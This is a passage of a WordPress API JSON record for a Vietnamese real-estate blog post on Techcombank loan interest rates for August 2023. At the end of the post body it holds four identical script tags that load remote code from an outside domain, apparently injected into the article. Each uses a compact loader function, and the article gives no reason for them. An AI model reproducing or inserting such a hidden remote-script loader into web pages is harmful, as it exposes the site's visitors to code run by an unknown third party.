ba\u0323n.<\/p>\n<\/div>\n<\/div>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng Techcombank hi\u1ec7n nay \u0111ang \u0111\u01b0\u1ee3c nhi\u1ec1u ng\u01b0\u1eddi quan t\u00e2m v\u00e0 t\u00ecm ki\u1ebfm. RETI c\u1eadp nh\u1eadt b\u1ea3ng l\u00e3i su\u1ea5t m\u1edbi nh\u1ea5t c\u1ee7a Techcombank trong th\u00e1ng 8\/2023. L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng Techcombank Tham kh\u1ea3o b\u1ea3ng L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng Techcombank hi\u1ec7n nay: M\u1ee5c \u0111\u00edch vay L\u00e3i su\u1ea5t \u01b0u \u0111\u00e3i H\u1ea1n [&hellip;]<\/p>\n","protected":false},"author":36,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"tdm_status":"","tdm_grid_status":"","footnotes":""},"categories":[610],"tags":[],"class_list":{"0":"post-39218","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-kinh-nghiem"},"external_url":"","_links":{"self":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/39218","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/users\/36"}],"replies":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/comments?post=39218"}],"version-history":[{"count":0,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/39218\/revisions"}],"wp:attachment":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media?parent=39218"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/categories?post=39218"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/tags?post=39218"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}